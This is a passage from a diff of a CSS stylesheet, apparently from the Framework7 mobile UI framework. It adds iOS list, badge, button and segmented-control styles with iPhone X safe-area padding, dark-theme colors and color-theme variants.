.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row { + padding-right: 0; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .list ul, +.list.ios .theme-dark ul { + background: #1c1c1d; +} +.ios .theme-dark .list ul:before, +.list.ios .theme-dark ul:before { + background-color: #282829; +} +.ios .theme-dark .list ul:after, +.list.ios .theme-dark ul:after { + background-color: #282829; +} +.ios .theme-dark .list li li:last-child .item-inner:after, +.list.ios .theme-dark li li:last-child .item-inner:after, +.ios .theme-dark .list li:last-child li .item-inner:after, +.list.ios .theme-dark li:last-child li .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider:before { + background-color: #282829; +} +.ios .theme-dark .list-group-title:before { + background-color: #282829; +} +.ios .theme-dark .list-button:after { + background-color: #282829; +} +.ios .theme-dark .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider, +.ios .theme-dark .list-group-title { + background-color: #111; +} +.ios .theme-dark .links-list a:after, +.ios .theme-dark .simple-list li:after, +.ios .theme-dark .links-list a:after, +.links-list.ios .theme-dark a .simple-list li:after, +.simple-list.ios .theme-dark li:after { + background-color: #282829; +} +.ios .theme-dark .list .item-link.active-state, +.list.ios .theme-dark .item-link.active-state, +.ios .theme-dark .list .list-button.active-state, +.list.ios .theme-dark .list-button.active-state, +.ios .theme-dark .links-list a.active-state, +.links-list.ios .theme-dark a.active-state { + background-color: #363636; +} +.ios .color-theme-red .list-button { + color: #ff3b30; +} +.ios .color-theme-green .list-button { + color: #4cd964; +} +.ios .color-theme-blue .list-button { + color: #007aff; +} +.ios .color-theme-pink .list-button { + color: #ff2d55; +} +.ios .color-theme-yellow .list-button { + color: #ffcc00; +} +.ios .color-theme-orange .list-button { + color: #ff9500; +} +.ios .color-theme-gray .list-button { + color: #8e8e93; +} +.ios .color-theme-white .list-button { + color: #ffffff; +} +.ios .color-theme-black .list-button { + color: #000000; +} +.ios .list .list-button.color-red, +.ios .list li.color-red .list-button, +.ios .links-list li.color-red a, +.ios .simple-list li.color-red, +.ios .links-list a.color-red, +.ios .list .item-link.color-red, +.ios .list li.color-red .item-link { + color: #ff3b30; +} +.ios .list .list-button.color-green, +.ios .list li.color-green .list-button, +.ios .links-list li.color-green a, +.ios .simple-list li.color-green, +.ios .links-list a.color-green, +.ios .list .item-link.color-green, +.ios .list li.color-green .item-link { + color: #4cd964; +} +.ios .list .list-button.color-blue, +.ios .list li.color-blue .list-button, +.ios .links-list li.color-blue a, +.ios .simple-list li.color-blue, +.ios .links-list a.color-blue, +.ios .list .item-link.color-blue, +.ios .list li.color-blue .item-link { + color: #007aff; +} +.ios .list .list-button.color-pink, +.ios .list li.color-pink .list-button, +.ios .links-list li.color-pink a, +.ios .simple-list li.color-pink, +.ios .links-list a.color-pink, +.ios .list .item-link.color-pink, +.ios .list li.color-pink .item-link { + color: #ff2d55; +} +.ios .list .list-button.color-yellow, +.ios .list li.color-yellow .list-button, +.ios .links-list li.color-yellow a, +.ios .simple-list li.color-yellow, +.ios .links-list a.color-yellow, +.ios .list .item-link.color-yellow, +.ios .list li.color-yellow .item-link { + color: #ffcc00; +} +.ios .list .list-button.color-orange, +.ios .list li.color-orange .list-button, +.ios .links-list li.color-orange a, +.ios .simple-list li.color-orange, +.ios .links-list a.color-orange, +.ios .list .item-link.color-orange, +.ios .list li.color-orange .item-link { + color: #ff9500; +} +.ios .list .list-button.color-gray, +.ios .list li.color-gray .list-button, +.ios .links-list li.color-gray a, +.ios .simple-list li.color-gray, +.ios .links-list a.color-gray, +.ios .list .item-link.color-gray, +.ios .list li.color-gray .item-link { + color: #8e8e93; +} +.ios .list .list-button.color-white, +.ios .list li.color-white .list-button, +.ios .links-list li.color-white a, +.ios .simple-list li.color-white, +.ios .links-list a.color-white, +.ios .list .item-link.color-white, +.ios .list li.color-white .item-link { + color: #ffffff; +} +.ios .list .list-button.color-black, +.ios .list li.color-black .list-button, +.ios .links-list li.color-black a, +.ios .simple-list li.color-black, +.ios .links-list a.color-black, +.ios .list .item-link.color-black, +.ios .list li.color-black .item-link { + color: #000000; +} +/* === Badge === */ +.badge { + display: inline-block; + color: #fff; + background: #8e8e93; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-align: center; +} +.icon .badge, +.f7-icons .badge, +.framework7-icons .badge, +.material-icons .badge { + position: absolute; + left: 100%; + margin-left: -10px; + top: -2px; +} +.ios .badge { + font-size: 13px; + border-radius: 20px; + padding: 0 6px; + height: 20px; + line-height: 20px; +} +.item-after .ios .badge { + min-width: 20px; +} +.ios .icon .badge, +.ios .f7-icons .badge, +.ios .framework7-icons .badge, +.ios .material-icons .badge { + line-height: 16px; + height: 16px; + border-radius: 16px; + padding: 0 4px; + min-width: 16px; + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.ios .badge.color-red { + background-color: #ff3b30; +} +.ios .badge.color-green { + background-color: #4cd964; +} +.ios .badge.color-blue { + background-color: #007aff; +} +.ios .badge.color-pink { + background-color: #ff2d55; +} +.ios .badge.color-yellow { + background-color: #ffcc00; +} +.ios .badge.color-orange { + background-color: #ff9500; +} +.ios .badge.color-gray { + background-color: #8e8e93; +} +.ios .badge.color-white { + background-color: #ffffff; +} +.ios .badge.color-black { + background-color: #000000; +} +button { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; +} +input[type="submit"].button, +input[type="button"].button { + width: 100%; +} +button { + width: 100%; +} +.segmented { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} +.segmented .button, +.segmented button { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.subnavbar .segmented { + width: 100%; +} +.ios .button { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; +} +.ios .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.button-round, +.ios .button.button-round-ios { + border-radius: 29px; +} +.ios .button.button-active, +.ios .button.tab-link-active { + background: #007aff; + color: #fff; +} +.ios .button.button-big, +.ios .button.button-big-ios { + font-size: 17px; + height: 44px; + line-height: 42px; +} +.ios .button.button-small, +.ios .button.button-small-ios { + height: 26px; + line-height: 22px; + border-width: 2px; + font-size: 13px; + font-weight: 600; + text-transform: uppercase; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.ios .button.button-small.button-fill.active-state, +.ios .button.button-small-ios.button-fill.active-state, +.ios .button.button-small.button-fill-ios.active-state, +.ios .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; + opacity: 1; +} +.ios .button.button-fill, +.ios .button.button-fill-ios { + color: #fff; + background: #007aff; + border-color: transparent; +} +.ios .button.button-fill.active-state, +.ios .button.button-fill-ios.active-state { + opacity: 0.8; +} +.ios .button i.icon:first-child { + margin-right: 10px; +} +.ios .button i.icon:last-child { + margin-left: 10px; +} +.ios .button i.icon:first-child:last-child { + margin-left: 0; + margin-right: 0; +} +.ios .segmented .button { + border-radius: 0; + border-left-width: 0; +} +.ios .segmented .button:first-child { + border-radius: 5px 0 0 5px; + border-left-width: 1px; + border-left-style: solid; +} +.ios .segmented .button:first-child.button-small { + border-left-width: 2px; +} +.ios .segmented .button:last-child { + border-radius: 0 5px 5px 0; +} +.ios .segmented .button:first-child:last-child { + border-radius: 5px; +} +.ios .segmented .button.button-round:first-child, +.ios .segmented .button.button-round-ios:first-child { + border-radius: 29px 0 0 29px; +} +.ios .segmented .button.button-round:last-child, +.ios .segmented .button.button-round-ios:last-child { + border-radius: 0 29px 29px 0; +} +.ios .color-theme-red .button { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .button.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active, +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active { + background: #ff3b30; +} +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .color-theme-red .button.button-small.button-fill.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill.active-state, +.ios .color-theme-red .button.button-small.button-fill-ios.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .color-theme-green .button { + border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .button.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active, +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active { + background: #4cd964; +} +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .color-theme-green .button.button-small.button-fill.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill.active-state, +.ios .color-theme-green .button.button-small.button-fill-ios.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .color-theme-blue .button { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active, +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active { + background: #007aff; +} +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .color-theme-blue .button.button-small.button-fill.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill.active-state, +.ios .color-theme-blue .button.button-small.button-fill-ios.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; 